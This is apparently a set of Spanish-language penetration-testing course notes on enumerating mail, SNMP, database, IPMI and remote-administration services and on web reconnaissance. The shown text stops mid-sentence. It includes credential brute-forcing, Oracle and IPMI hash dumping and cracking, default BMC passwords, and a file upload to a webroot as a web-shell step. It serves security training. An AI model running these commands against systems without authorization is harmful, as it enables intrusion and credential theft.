Enumeración de usuarios (-w establece la velocidad)

smtp-user-enum -M VRFY -U [Link] -t <IP>

smtp-user-enum -M VRFY -U [Link] -t <IP> -w 20 -v
 IMAP/POP3

Con la ayuda de Internet Message Access Protocol (IMAP), es posible acceder a los correos
electrónicos desde un servidor de correo. A diferencia de Post Office Protocol (POP3), IMAP
permite la gestión en línea de correos electrónicos directamente en el servidor y admite
estructuras de carpetas. Se trata, por tanto, de un protocolo de red para la gestión online
de correos electrónicos en un servidor remoto.

POP3, por otro lado, no tiene la misma funcionalidad que IMAP y solo proporciona listar,
recuperar y eliminar correos electrónicos como funciones en el servidor de correo
electrónico. Por lo tanto, se deben utilizar protocolos como IMAP para funcionalidades
adicionales como buzones jerárquicos directamente en el servidor de correo, acceso a
múltiples buzones durante una sesión y preselección de correos electrónicos.

Puertos:

110/tcp pop3
143/tcp imap
993/tcp imaps
995/tcp pop3s

SMTP se suele utilizar para enviar correos electrónicos. Al copiar los correos electrónicos
enviados en una carpeta IMAP, todos los clientes tienen acceso a todos los correos
enviados, independientemente de la computadora desde la que se enviaron. Otra ventaja
del Protocolo de acceso a mensajes de Internet es la creación de carpetas personales y
estructuras de carpetas en el buzón. Esta característica hace que el buzón sea más claro y
fácil de administrar. Sin embargo, aumenta la necesidad de espacio de almacenamiento
en el servidor de correo electrónico.

Sin más medidas, IMAP funciona sin cifrar y transmite comandos, correos electrónicos o
nombres de usuario y contraseñas en texto plano. Muchos servidores de correo electrónico
requieren establecer una sesión IMAP cifrada para garantizar una mayor seguridad en el
tráfico de correo electrónico y evitar el acceso no autorizado a los buzones de correo. Para
este fin se suele utilizar SSL/TLS. Dependiendo del método y la implementación utilizados, la
conexión cifrada utiliza el puerto estándar 143 o un puerto alternativo como 993.

Comandos IMAP

Dominio Descripción
1 LOGIN username password Inicio de sesión del usuario.
1 LIST "" * Enumera todos los directorios.
1 CREATE "INBOX" Crea un buzón con un nombre
especificado.
1 DELETE "INBOX" Elimina un buzón.
1 RENAME "ToRead" "Important" Cambia el nombre de un buzón.
1 LSUB "" * Devuelve un subconjunto de nombres del
conjunto de nombres que el Usuario ha
declarado como active o subscribed.
 1 SELECT INBOX Selecciona un buzón para poder acceder
a los mensajes del buzón.
1 UNSELECT INBOX Sale del buzón seleccionado.
1 FETCH <ID> all Recupera datos asociados con un mensaje
en el buzón.
1 CLOSE Elimina todos los mensajes con la bandera
Deleted establecida.
1 LOGOUT Cierra la conexión con el servidor IMAP.

Comandos POP3

Dominio Descripción
USER username Identifica al usuario.
PASS password Autenticación del usuario mediante su
contraseña.
STAT Solicita la cantidad de correos electrónicos
guardados del servidor.
LIST Solicita al servidor el número y tamaño de
todos los correos electrónicos.
RETR id Solicita al servidor que entregue el correo
electrónico solicitado por ID.
DELE id Solicita al servidor que elimine el correo
electrónico solicitado por ID.
CAPA Solicita al servidor que muestre las
capacidades del servidor.
RSET Solicita al servidor que restablezca la
información transmitida.
QUIT Cierra la conexión con el servidor POP3.

De forma predeterminada, los puertos 110, 143, 993 y 995 se utilizan para IMAP y POP3. Los
dos puertos superiores se utilizan TLS/SSL para cifrar la comunicación entre el cliente y el
servidor.

Escaneando puertos pop3 e imap con nmap

nmap <IP> -sV -p110,143,993,995 -sC

nmap -p 110,995 --script banner <IP>

Conectar mediante Curl

Con los siguientes comandos de curl podremos ver los directorios del servidor

curl -k 'imaps://<IP>' --user user:p4ssw0rd

curl -k 'imaps://<IP>' --user user:p4ssw0rd -v

Para interactuar con el servidor IMAP o POP3 a través de SSL podemos utilizar openssl, así
como ncat.
OpenSSL: interacción cifrada TLS POP3 (port 995)

openssl s_client -connect <IP>:pop3s

OpenSSL - IMAP de interacción cifrada TLS (port 993)

Ingresamos el comando (openssl s_client -connect <IP>:imaps) para lograr la conexión con
el servidor, luego ingresamos las credenciales con el comando (a LOGIN <usuario>
<contraseña>) y ya podremos interactuar con el servidor mediante el servicio IMAP.

openssl s_client -connect <IP>:imaps Conéctate al servidor IMAP usando openssl

1 LOGIN <usuario> <contraseña> a LOGIN <usuario> <contraseña>
1 LIST "" * Enumera todos los directorios
1 SELECT INBOX Selecciona la carpeta NAMECARPETA
1 FETCH 1 BODY[TEXT] Recupera el contenido del mensaje
1 fetch 1 all Ver correo del administrador

SNMP

Simple Network Management Protocol (SNMP) fue creado para monitorear dispositivos de
red. Además, este protocolo también se puede utilizar para gestionar tareas de
configuración y cambiar ajustes de forma remota. El hardware habilitado para SNMP
incluye enrutadores, conmutadores, servidores, dispositivos IoT y muchos otros dispositivos
que también pueden consultarse y controlarse mediante este protocolo estándar.

puerto UDP 161

puerto UDP 162 traps

¿Qué son los SNMP Traps?

Un SNMP Trap es un mensaje que un dispositivo (como un router, switch o servidor) envía a
un gestor SNMP para notificarle sobre ciertos eventos o condiciones sin que el gestor tenga
que solicitar esa información explícitamente. Los traps permiten al dispositivo notificar al
gestor sobre situaciones como errores, cambios de estado o eventos críticos.

Características de los SNMP Traps

Asincrónicos: A diferencia de las consultas SNMP estándar, que son solicitudes que el gestor
realiza al agente, los traps son mensajes enviados de manera proactiva por el agente al
gestor.
Notificaciones de eventos: Los traps suelen informar sobre eventos importantes, como fallos
en el hardware, cambios en la configuración o problemas de rendimiento.
OIDs: Los traps contienen información codificada en OIDs (Object Identifiers) que el gestor
puede usar para interpretar el evento notificado.
SNMPwalk

¿Para Qué Se Usan los OIDs? (EJ: [Link].[Link].0)

Recuperar Información, Configurar Dispositivos, Monitorear Estado, Automatización de

Tareas.

apt install snmp

snmpwalk -v2c -c public <IP>
nmap -p 161 -sU --script snmp-info <IP>

Si no conocemos la cadena de comunidad, podemos usar listas de palabras onesixtyone y

SecLists para identificar estas cadenas de comunidad.

OneSixtyOne

apt install onesixtyone

onesixtyone -c /SecLists/Discovery/SNMP/[Link] <IP>

Braa

apt install braa

braa <community string>@<IP>:.1.3.6.* # Syntax
braa public@<IP>:.1.3.6.*

MYSQL

MySQL es un sistema de gestión de bases de datos relacionales SQL de código abierto

desarrollado y respaldado por Oracle.

• TCP port 3306

Ruta de archivo de configuración predeterminada

apt install mysql-server -y

cat /etc/mysql/[Link].d/[Link] | grep -v "#" | sed -r '/^\s*$/d'

Escaneando el servidor MySQL

Scripts NSE de NMP

nmap <IP> -sV -sC -p3306 --script mysql*

Interacción con el servidor MySQL

Las bases de datos más importantes para el servidor MySQL son system schema (sys) y
information schema (information_schema). El esquema del sistema contiene tablas,
información y metadatos necesarios para la gestión.

mysql -u root -h <IP> Conexión al server sin password

mysql -u root -pP4SSw0rd -h <IP> Conexión con password
show databases; Ver las bases de datos
select version(); Ver la version
use mysql; “use” comando para seleccionar la DB
show tables; Ver las tablas de la DB seleccionada
describe tabla; Muestra información de la tabla
select * from <table>; Muestra todo en la tabla deseada.
select user, passwords from users; Muestra user y pass de tabla users
select * from <table> where <column> = Busque necesario string en la tabla
"<string>"; deseada.

MSSQL

Microsoft SQL (MSSQL) es el sistema de gestión de bases de datos relacionales basado en

SQL de Microsoft. A diferencia de MySQL, MSSQL es de código cerrado y fue escrito
inicialmente para ejecutarse en sistemas operativos Windows.

Port tcp 1433

Algunas de las vulnerabilidades de las que nos podemos aprovechar

• Los clientes MSSQL no utilizan cifrado para conectarse al servidor MSSQL

• El uso de certificados autofirmados cuando se utiliza cifrado. Es posible falsificar
certificados autofirmados
• El uso de tuberías con nombre.
• Credenciales débiles y predeterminadas sa. Los administradores pueden olvidarse
de desactivar esta cuenta.

Comandos nmap NSE

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-

ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args
[Link]-port=1433,[Link]=sa,[Link]=,[Link]-
name=MSSQLSERVER -sV -p 1433 <IP>

También podemos usar el módulo de metasploit (mssql_ping) el cual nos dará información
valiosa.

Instalación de impacket

git clone [Link]

cd impacket
 pip install . --break-system-packages

Conexión con [Link] (de impacket)

python3 [Link] Administrator@<IP> -windows-auth

select name from [Link] Lista las DBs existentes

Oracle TNS

El servidor Oracle Transparent Network Substrate (TNS) es un protocolo de comunicación

que facilita la comunicación entre bases de datos y aplicaciones de Oracle a través de
redes. Introducido inicialmente como parte del paquete de software Oracle Net Services,
TNS admite varios protocolos de red entre bases de datos Oracle y aplicaciones cliente,
como pilas de protocolos IPX/SPX TCP/IP. Como resultado, se ha convertido en la solución
preferida para gestionar bases de datos grandes y complejas en los sectores sanitario,
financiero y minorista. Además, su mecanismo de cifrado incorporado garantiza la
seguridad de los datos transmitidos, lo que la convierte en una solución ideal para entornos
empresariales donde la seguridad de los datos es primordial.

Port TCP/1521

Antes de que podamos enumerar el oyente TNS e interactuar con él, debemos descargar
algunos paquetes y herramientas, en caso de que aún no los tenga. Aquí hay un script Bash
que hace todo eso (La instalacion):

[Link]

#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y

git clone [Link]
cd odat/
git submodule init
git submodule update
wget
[Link]
[Link]
unzip [Link]
wget
[Link]
[Link]
unzip [Link]
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
su botache
pip3 install cx_Oracle --break-system-packages
sudo apt-get install python3-scapy -y
su botache
pip3 install colorlog termcolor passlib python-libnmap --break-system-packages
sudo apt-get install build-essential libgmp-dev -y
 su botache
pip3 install pycryptodome --break-system-packages
sudo chmod a+w /home/botache/programas/odat

Después de eso, podemos intentar determinar si la instalación fue exitosa ejecutando el

siguiente comando:

su botache
python3 [Link]

Oracle Database Attacking Tool (ODAT) es una herramienta de prueba de penetración de

código abierto escrita en Python y diseñada para enumerar y explotar vulnerabilidades en
las bases de datos de Oracle. Se puede utilizar para identificar y explotar diversas fallas de
seguridad en las bases de datos de Oracle, incluida la inyección SQL, la ejecución remota
de código y la escalada de privilegios.

Nmap

nmap -p1521 -sV <IP> --open

nmap -p1521 -sV <IP> --open --script oracle-sid-brute Fuerza bruta SID

ODAT (Herramienta)

Link: [Link]

su botache
python3 [Link] all -s <IP>

ODAT Fuerza Bruta

Python3 [Link] --accounts-file Formato de usuario y contraseña de

accounts/accounts_multiple.txt -t <IP> -p accounts_multiple.txt (user:passwd) por
1521 -s XEXDB línea
Python3 [Link] --accounts-files Formato de usuario y contraseña de
ruta/[Link] ruta/[Link] -t <IP> -p 1521 - [Link] (user) por línea un solo nombre y
s XEXDB [Link] una (contraseña) por línea

Cuando consigamos credenciales podremos usar la herramienta (sqlplus) para

conectarnos a la base de datos Oracle e interactuar con ella.

SQLPLUS Instalacion

wget
[Link]
[Link]
wget
[Link]
[Link]
 sudo unzip /home/botache/programas/[Link] -d
/opt/oracle/instantclient_23_4
sudo unzip /home/botache/programas/[Link] -d
/opt/oracle/instantclient_23_4

sudo mkdir -p /opt/oracle

sudo mv instantclient_23_4 /opt/oracle/

echo 'export PATH=/opt/oracle/instantclient_23_4:$PATH' >> ~/.bashrc

echo 'export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_4' >> ~/.bashrc
echo 'export TNS_ADMIN=/opt/oracle/instantclient_23_4' >> ~/.bashrc
source ~/.bashrc
sqlplus -v

SQLPLUS Conexión

sqlplus user/password@<IP>/XE as sysdba

Si sale el error: sqlplus: error while loading shared libraries: [Link]: cannot open shared
object file: No such file or directory (Ejecutamos lo siguiente).

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/[Link].d/oracle-

[Link]";sudo ldconfig

Oracle RDBMS: interacción

select table_name from all_tables;

select * from user_role_privs;
sqlplus user/password@<IP>/XE as sysdba enumeración de bases de datos
select name, password from [Link]$; extraer hashes de contraseña

Otra opción es cargar un shell web en el destino. Sin embargo, esto requiere que el servidor
ejecute un servidor web y necesitamos saber la ubicación exacta del directorio raíz del
servidor web. No obstante, si sabemos qué tipo de sistema estamos tratando, podemos
probar las rutas por defecto, que son:

OS Camino
linux /var/www/html
windows C:\inetpub\wwwroot

En primer lugar, siempre es importante probar nuestro enfoque de explotación con archivos
que no parezcan peligrosos para los sistemas antivirus o de detección/prevención de
intrusiones. Por lo tanto, creamos un archivo de texto con una cadena y lo usamos para
cargarlo en el sistema de destino.

echo "Oracle File Upload Test" > [Link]

./[Link] utlfile -s <IP> -d XE -U user -P password --sysdba --putFile C:\\inetpub\\wwwroot
[Link] ./[Link]
Finalmente, podemos probar si el método de carga de archivos funcionó con curl. Por lo
tanto, utilizaremos una solicitud GET o podemos visitarla a través del navegador [Link]

curl -X GET http:// <IP>/[Link]

IPMI

La interfaz de gestión de plataforma inteligente (IPMI) es un conjunto de especificaciones

estandarizadas para sistemas de gestión de host basados en hardware que se utilizan para
la gestión y supervisión del sistema. Actúa como un subsistema autónomo y funciona
independientemente del BIOS, la CPU, el firmware y el sistema operativo subyacente del
host. IPMI brinda a los administradores de sistemas la capacidad de administrar y monitorear
sistemas incluso si están apagados o en un estado que no responde. Funciona mediante
una conexión de red directa al hardware del sistema y no requiere acceso al sistema
operativo a través de un shell de inicio de sesión. IPMI también se puede utilizar para
actualizaciones remotas de sistemas sin necesidad de acceso físico al host de destino. IPMI
se utiliza normalmente de tres maneras:

• Antes de que el sistema operativo haya arrancado para modificar la configuración

del BIOS
• Cuando el host está completamente apagado
• Acceso a un host después de una falla del sistema

IPMI se comunica a través del puerto 623 UDP. Los sistemas que utilizan el protocolo IPMI se
denominan controladores de gestión de placa base (BMC). Los BMC generalmente se
implementan como sistemas ARM integrados que ejecutan Linux y se conectan
directamente a la placa base del host. Los BMC están integrados en muchas placas base,
pero también se pueden agregar a un sistema como una tarjeta PCI. La mayoría de los
servidores vienen con un BMC o admiten la adición de un BMC. Los BMC más comunes que
vemos durante las pruebas de penetración interna son HP iLO, Dell DRAC y Supermicro IPMI.
Si podemos acceder a un BMC durante una evaluación, obtendremos acceso completo a
la placa base del host y podremos monitorear, reiniciar, apagar o incluso reinstalar el
sistema operativo del host. Obtener acceso a un BMC es casi equivalente al acceso físico
a un sistema. Muchos BMC (incluidos HP iLO, Dell DRAC y Supermicro IPMI) exponen una
consola de administración basada en web, algún tipo de protocolo de acceso remoto por
línea de comandos, como Telnet o SSH, y el puerto 623 UDP, que, nuevamente, es para el
Protocolo de red IPMI.

Nmap NSE IPMI

nmap -sU --script ipmi-version -p 623 <IP>

Metasploit Module

auxiliary/scanner/ipmi/ipmi_version

Contraseñas predeterminadas

Product Username Password

 Dell iDRAC root calvin
HP iLO Administrator randomized 8-character
string consisting of numbers
and uppercase letters
Supermicro IPMI ADMIN ADMIN

Hashcat

En el caso de que un HP iLO utilice una contraseña predeterminada de fábrica, podemos

usar este comando de ataque de máscara Hashcat.

hashcat -m 7300 [Link] -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u

hashcat -m 7300 -a 0 [Link] [Link]
hashcat -m 7300 -a 0 [Link] [Link] --force

Para recuperar hashes de IPMI, podemos utilizar el módulo de recuperación de hash de

contraseña SHA1 remota RAKP de Metasploit IPMI 2.0.

Metasploit recuperación de hashes

use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts <IP>
run

Protocolos de administración remota de Linux

Configuración predeterminada

El archivo sshd_config, responsable del servidor OpenSSH, tiene solo algunas de las
configuraciones configuradas de forma predeterminada. Sin embargo, la configuración
predeterminada incluye el reenvío X11, que contenía una vulnerabilidad de inyección de
comandos en la versión 7.2p1 de OpenSSH en 2016. Sin embargo, no necesitamos una GUI
para administrar nuestros servidores.

cat /etc/ssh/sshd_config | grep -v "#" | sed -r '/^\s*$/d'

Entornos peligrosos

A pesar de que el protocolo SSH es uno de los protocolos más seguros disponibles en la
actualidad, algunas configuraciones erróneas aún pueden hacer que el servidor SSH sea
vulnerable a ataques fáciles de ejecutar. Echemos un vistazo a las siguientes
configuraciones:

Configuración Descripción
PasswordAuthentication yes Permite la autenticación basada en
contraseña.
PermitEmptyPasswords yes Permite el uso de contraseñas vacías.
PermitRootLogin yes Permite iniciar sesión como usuario root.
 Protocol 1 Utiliza una versión desactualizada de
cifrado.
X11Forwarding yes Permite el reenvío X11 para aplicaciones
GUI.
AllowTcpForwarding yes Permite el reenvío de puertos TCP.
PermitTunnel Permite hacer túneles.
DebianBanner yes Muestra un banner específico al iniciar
sesión.

Auditoría SSH (ssh-audit)

git clone [Link] Instalacion

[Link] && cd ssh-audit
./[Link] <IP> Ejecución

Cambiar método de autenticación

ssh -v user@<IP>

Para posibles ataques de fuerza bruta, podemos especificar el método de autenticación

con la opción de cliente SSH PreferredAuthentications.

ssh -v user@<IP> -o PreferredAuthentications=password

Rsync

Rsync es una herramienta rápida y eficiente para copiar archivos de forma local y remota.
Se puede utilizar para copiar archivos localmente en una máquina determinada y
hacia/desde hosts remotos. Es muy versátil y conocido por su algoritmo de transferencia
delta.

puerto 873

nmap -sV -p 873 <IP>

NC

A continuación, podemos probar un poco el servicio para ver a qué podemos acceder,
veremos recursos (directorios) compartidos.

nc -nv <IP> 873

Suponiendo que encontramos una carpeta (dev) podríamos enumerarla con rsync.

Enumerar un recurso compartido abierto

rsync -av --list-only rsync://<IP>/dev

R-commands
 Dominio Demonio Puerto Protocolo de Descripción
de servicio transporte
rcp rshd 514 tcp Copie un archivo o directorio
bidireccionalmente desde el sistema local al
sistema remoto (o viceversa) o de un sistema
remoto a otro. Funciona como el cpcomando
en Linux pero proporciona no warning to the
user for overwriting existing files on a system.
rsh rshd 514 tcp Abre un shell en una máquina remota sin un
procedimiento de inicio de sesión. Se basa en
las entradas confiables en los archivos
/etc/[Link] y .rhosts para su validación.
rexec rexecd 512 tcp Permite a un usuario ejecutar comandos de
shell en una máquina remota. Requiere
autenticación mediante el uso de un socket
username password de red no cifrado. La
autenticación es anulada por las entradas
confiables en los archivos /etc/[Link] y
.rhosts.
rlogin rlogind 513 tcp Permite a un usuario iniciar sesión en un host
remoto a través de la red. Funciona de manera
similar, telnet pero sólo puede conectarse a
hosts tipo Unix. La autenticación es anulada
por las entradas confiables en los archivos
/etc/[Link] y .rhosts.

Scanning for R-Services Nmap

nmap -sV -p 512,513,514 <IP>

Iniciar sesión usando Rlogin

rlogin <IP> -l user

Rwho Listado de usuarios autenticados mediante Rwho
rusers -al <IP>

Protocolos de administración remota de Windows

Los principales componentes utilizados para la gestión remota de Windows y servidores

Windows son los siguientes:

• Protocolo de escritorio remoto (RDP) puerto TCP 3389 - puerto UDP 3389
• Administración remota de Windows (WinRM) puertos TCP 5985 (HTTP) y 5986 (HTTPS)
• Instrumentación de Administración Windows (WMI) puerto TCP 135
Nmap NSE RDP

nmap -sV -sC <IP> -p3389 --script rdp*

nmap -sV -sC <IP> -p3389 --packet-trace --disable-arp-ping -n

Comprobación de seguridad RDP: instalación

cpan
yes
install Encoding::BER

Comprobación de seguridad RDP

git clone [Link] && cd rdp-sec-check

./[Link] <IP>

Iniciar una sesión RDP (xfreerdp)

xfreerdp /u:user /p:"P455w0rd" /v:<IP>

Usar También Remmina en lugar de xfreerdp ya que remmina viene dentro de parrot OS

Nmap WinRM

nmap -sV -sC <IP> -p5985,5986 --disable-arp-ping -n

WinRM Conexión

evil-winrm -i <IP> -u user -p P455w0rD

WMI

Conexión con [Link] del kit de herramientas Impacket.

[Link] user:"P455w0rD"@ <IP> "hostname"

 Information Gathering - Web Edition
WHOIS

Es un protocolo de consulta y respuesta ampliamente utilizado diseñado para acceder a

bases de datos que almacenan información sobre recursos de Internet registrados.
Principalmente asociado con nombres de dominio, WHOIS también puede proporcionar
detalles sobre bloques de direcciones IP y sistemas autónomos. Piense en ello como una
guía telefónica gigante para Internet, que le permite buscar quién posee o es responsable
de diversos activos en línea.

Instalacion y ejecución

apt install whois -y

whois [Link]

Cada registro de WHOIS normalmente contiene la siguiente información:

Domain Name: El nombre de dominio en sí (p. ej., [Link])

Registrar: La empresa donde se registró el dominio (por ejemplo, GoDaddy, Namecheap)
Registrant Contact: La persona u organización que registró el dominio.
Administrative Contact: La persona responsable de gestionar el dominio.
Technical Contact: La persona que maneja los problemas técnicos relacionados con el
dominio.
Creation and Expiration Dates: Cuándo se registró el dominio y cuándo expirará.
Name Servers: Servidores que traducen el nombre de dominio en una dirección IP.
Herramientas DNS

Herramienta Características clave Casos de uso

dig Herramienta de búsqueda Consultas manuales de
de DNS versátil que admite DNS, transferencias de zona
varios tipos de consultas (A, (si están permitidas),
MX, NS, TXT, etc.) y resolución de problemas de
resultados detallados. DNS y análisis en
profundidad de registros
DNS.
nslookup Herramienta de búsqueda Consultas DNS básicas,
de DNS más sencilla, comprobaciones rápidas
principalmente para de resolución de dominio y
registros A, AAAA y MX. registros del servidor de
correo.
host Herramienta de búsqueda Comprobaciones rápidas
de DNS optimizada con de registros A, AAAA y MX.
resultados concisos.
dnsenum Herramienta automatizada Descubrir subdominios y
de enumeración de DNS, recopilar información DNS
ataques de diccionario, de manera eficiente.
fuerza bruta, transferencias
de zona (si se permiten).
fierce Herramienta de Interfaz fácil de usar para
reconocimiento de DNS y reconocimiento de DNS,
enumeración de identificación de
subdominios con búsqueda subdominios y objetivos
recursiva y detección de potenciales.
comodines.
dnsrecon Combina múltiples técnicas Enumeración completa de
de reconocimiento de DNS DNS, identificación de
y admite varios formatos de subdominios y recopilación
salida. de registros DNS para
análisis posteriores.
theHarvester Herramienta OSINT que Recopilar direcciones de
recopila información de correo electrónico,
diversas fuentes, incluidos información de empleados
registros DNS (direcciones y otros datos asociados con
de correo electrónico). un dominio de múltiples
fuentes.
Servicios de búsqueda de Interfaces fáciles de usar Búsquedas de DNS rápidas y
DNS en línea para realizar búsquedas de sencillas, prácticas cuando
DNS. las herramientas de línea de
comandos no están
disponibles, para
comprobar la disponibilidad
del dominio o información
básica
Comandos de DIG comunes

Dominio Descripción
dig [Link] Realiza una búsqueda de registro A
predeterminada para el dominio.
dig [Link] A Recupera la dirección IPv4 (registro A)
asociada con el dominio.
dig [Link] AAAA Recupera la dirección IPv6 (registro AAAA)
asociada al dominio.
dig [Link] MX Encuentra los servidores de correo (registros
MX) responsables del dominio.
dig [Link] NS Identifica los servidores de nombres
autorizados para el dominio.
dig [Link] TXT Recupera cualquier registro TXT asociado
con el dominio.
dig [Link] CNAME Recupera el registro de nombre canónico
(CNAME) del dominio.
dig [Link] SOA Recupera el registro de inicio de autoridad
(SOA) para el dominio.
dig @[Link] [Link] Especifica un servidor de nombres
específico para consultar; en este caso
[Link]
dig +trace [Link] Muestra la ruta completa de la resolución
DNS.
dig -x [Link] Realiza una búsqueda inversa en la
dirección IP [Link] para encontrar el
nombre de host asociado. Es posible que
necesite especificar un servidor de
nombres.
dig +short [Link] Proporciona una respuesta breve y concisa
a la consulta.
dig +noall +answer [Link] Muestra solo la sección de respuestas del
resultado de la consulta.
dig [Link] ANY Recupera todos los registros DNS
disponibles para el dominio (Nota: muchos
servidores DNS ignoran ANY las consultas
para reducir la carga y evitar abusos, según
RFC 8482 ).

Algunos comandos interesantes a ejecutar:

dig +short [Link] dirección IP se asigna a [Link]

dig +short -x <IP> dominio se devuelve al consultar el registro
PTR
dig +short MX [Link] Saber el dominio completo
Subdominios

Al explorar los registros DNS, nos hemos centrado principalmente en el dominio principal
(por ejemplo, [Link]) y su información asociada. Sin embargo, debajo de la
superficie de este dominio primario se encuentra una red potencial de subdominios. Estos
subdominios son extensiones del dominio principal, muchas veces creados para organizar y
separar diferentes secciones o funcionalidades de un sitio web. Por ejemplo, una empresa
podría utilizarlo [Link] para su blog, [Link] su tienda en línea o
[Link] sus servicios de correo electrónico.

¿Por qué es esto importante para el reconocimiento web?

• Los subdominios suelen albergar información y recursos valiosos que no están

directamente vinculados desde el sitio web principal. Esto puede incluir:

Development and Staging Environments: Las empresas suelen utilizar subdominios para
probar nuevas funciones o actualizaciones antes de implementarlas en el sitio principal.
Debido a las relajadas medidas de seguridad, estos entornos a veces contienen
vulnerabilidades o exponen información confidencial.

Hidden Login Portals: Los subdominios pueden albergar paneles administrativos u otras
páginas de inicio de sesión que no están destinadas a ser accesibles públicamente. Los
atacantes que buscan acceso no autorizado pueden encontrarlos como objetivos
atractivos.

Legacy Applications: Las aplicaciones web más antiguas y olvidadas pueden residir en
subdominios y contener potencialmente software obsoleto con vulnerabilidades
conocidas.

Sensitive Information: Los subdominios pueden exponer inadvertidamente documentos

confidenciales, datos internos o archivos de configuración que podrían ser valiosos para los
atacantes.

Fuerza bruta de subdominio

Hay varias herramientas disponibles que destacan en la enumeración de fuerza bruta:

Herramienta Descripción
dnsenum Completa herramienta de enumeración de
DNS que admite ataques de diccionario y
de fuerza bruta para descubrir
subdominios.
fierce Herramienta fácil de usar para el
descubrimiento recursivo de subdominios,
que incluye detección de comodines y una
interfaz fácil de usar.
dnsrecon Herramienta versátil que combina múltiples
técnicas de reconocimiento de DNS y
ofrece formatos de salida personalizables.
 amass Herramienta mantenida activamente
centrada en el descubrimiento de
subdominios, conocida por su integración
con otras herramientas y amplias fuentes
de datos.
assetfinder Herramienta sencilla pero eficaz para
encontrar subdominios utilizando diversas
técnicas, ideal para escaneos rápidos y
ligeros.
puredns Potente y flexible herramienta de fuerza
bruta DNS, capaz de resolver y filtrar
resultados de forma efectiva.

Comando (Fuerza bruta de subdominio)

dnsenum --enum [Link] -f

/usr/share/wordlists/SecLists/Discovery/DNS/[Link] -r

Fierce

git clone Descargar

[Link]
[Link]
cd fierce-domain-scanner/ Entrar a la carpeta de fierce
perl [Link] -dns [Link] Analizar un dominio en busca de
subdominios

Transferencia de zona

dig axfr @<IP> [Link] Transferencia de zona de

[Link] y la IP debe ser la ip
de [Link]
 Virtual Hosts

Descubriendo Hosts Virtuales.

La bandera --append-domain agrega el dominio base a cada palabra de la lista de

palabras.
La bandera -t para aumentar la cantidad de subprocesos para un escaneo más rápido.
La bandera -k puede ignorar los errores del certificado SSL/TLS.
La bandera -o para guardar el resultado en un archivo para su posterior análisis.

Diccionario:

gobuster vhost -u [Link] -w <wordlist> --append-domain -t 200 Gobuster

VHOST en .JS

Recargamos la página y vemos la pestaña Red en inspeccionar elemento, veremos todos

los archivos .js donde podremos buscar VHOST del dominio (horizontall) para este ejemplo.
(Damos doble click en el nombre de archivo [Link])

Luego del atajo de teclado Ctrl + f escribimos para este caso el nombre de dominio
horizontall y encontramos el VHOST (api-prod).
También buscar en los .js

Nombre página (dominio)([Link]) para descubrir vhost

../../ para descubrir rutas
clave para descubrir claveEncriptacion
claveEncriptacion
azureKey
== para descubrir contraseñas

Registros de transparencia de certificados

Herramienta Características Casos de uso Ventajas Contras Herramienta

clave
[Link] Interfaz web Búsquedas Gratis, fácil Opciones [Link]
fácil de usar, rápidas y de usar, no limitadas
búsqueda sencillas, es de filtrado
sencilla por identificación necesario y análisis.
dominio, de registrarse.
muestra subdominios,
detalles del consulta del
certificado, historial de
entradas SAN. emisión de
certificados.

Comando desde consola con CURL

curl -s "[Link] | jq -r '.[]

| select(.name_value | contains("dev")) | .name_value' | sort -u
curl -s "[Link] | jq -r '.[] | .name_value' | sort -u

Fingerprinting

Herramienta Descripción Características

Wappalyzer Extensión de navegador y Identifica una amplia gama
servicio en línea para de tecnologías web,
 creación de perfiles incluidos CMS, marcos,
tecnológicos de sitios web. herramientas de análisis y
más.
BuiltWith Perfilador de tecnología Ofrece planes gratuitos y de
web que proporciona pago con distintos niveles
informes detallados sobre la de detalle.
pila de tecnología de un
sitio web.
WhatWeb Herramienta de línea de Utiliza una amplia base de
comandos para la toma de datos de firmas para
huellas digitales de sitios identificar diversas
web. tecnologías web.
Nmap Escáner de red versátil que Se puede utilizar con scripts
se puede utilizar para (NSE) para realizar tomas de
diversas tareas de huellas dactilares más
reconocimiento, incluidas especializadas.
las huellas digitales del
sistema operativo y del
servicio.
Netcraft Ofrece una gama de Proporciona informes
servicios de seguridad web, detallados sobre la
que incluyen tomas de tecnología de un sitio web,
huellas digitales de sitios el proveedor de
web e informes de alojamiento y la situación
seguridad. de seguridad.
wafw00f Herramienta de línea de Ayuda a determinar si hay
comandos diseñada un WAF presente y, de ser
específicamente para así, su tipo y configuración.
identificar firewalls de
aplicaciones web (WAF).

Banner Grabbing con CURL

curl -I [Link] recopilar información directamente del servidor

curl -I [Link] Obtenemos más información.
curl -I [Link] Obtenemos más información.

wafw00f

Herramienta que nos ayuda a saber si el dominio en cuestión se encuentra detrás de un

WAF.

wafw00f [Link]

Nikto

Es un potente escáner de servidores web de código abierto. Además de su función principal

como herramienta de evaluación de vulnerabilidades.

nikto -h [Link] -Tuning b

nikto -h [Link]
Saber los CMS (whatweb y wappalyzer)

whatweb [Link]

[Link]

Directiva Descripción Ejemplo

Disallow Especifica rutas o Disallow: /admin/(no permitir el acceso
patrones que el bot no al directorio de administración)
debe rastrear.
Allow Permite explícitamente Allow: /public/(permitir el acceso al
que el bot rastree rutas directorio público)
o patrones específicos,
incluso si se encuentran
bajo una regla Disallow
más amplia.
Crawl-delay Establece un retraso Crawl-delay: 10(Retraso de 10 segundos
(en segundos) entre entre solicitudes)
solicitudes sucesivas
del bot para evitar
sobrecargar el servidor.
Sitemap Proporciona la URL de Sitemap:
un mapa del sitio XML [Link]
para un rastreo más
eficiente.

Well-Known URIs (RFC 8615)

sirve como un directorio estandarizado dentro del dominio raíz de un sitio web. Esta
ubicación designada, generalmente accesible a través de la /.well-known/ruta de un
servidor web, centraliza los metadatos críticos de un sitio web, incluidos archivos de
configuración e información relacionada con sus servicios, protocolos y mecanismos de
seguridad.
Ejemplo de ruta:

[Link]
[Link]
[Link]
[Link]
known-uri

Scrapy

Instalacion de scrapy

pip3 install scrapy --break-system-packages

Reconspider

Instalacion de reconspider

wget -O [Link]
[Link]
unzip [Link]

O descargar de github

[Link]

Ejecución Reconspider (PODEROSA HERRAMIENTA)

La araña rastreará el objetivo y recopilará información valiosa, el escaneo con el comando

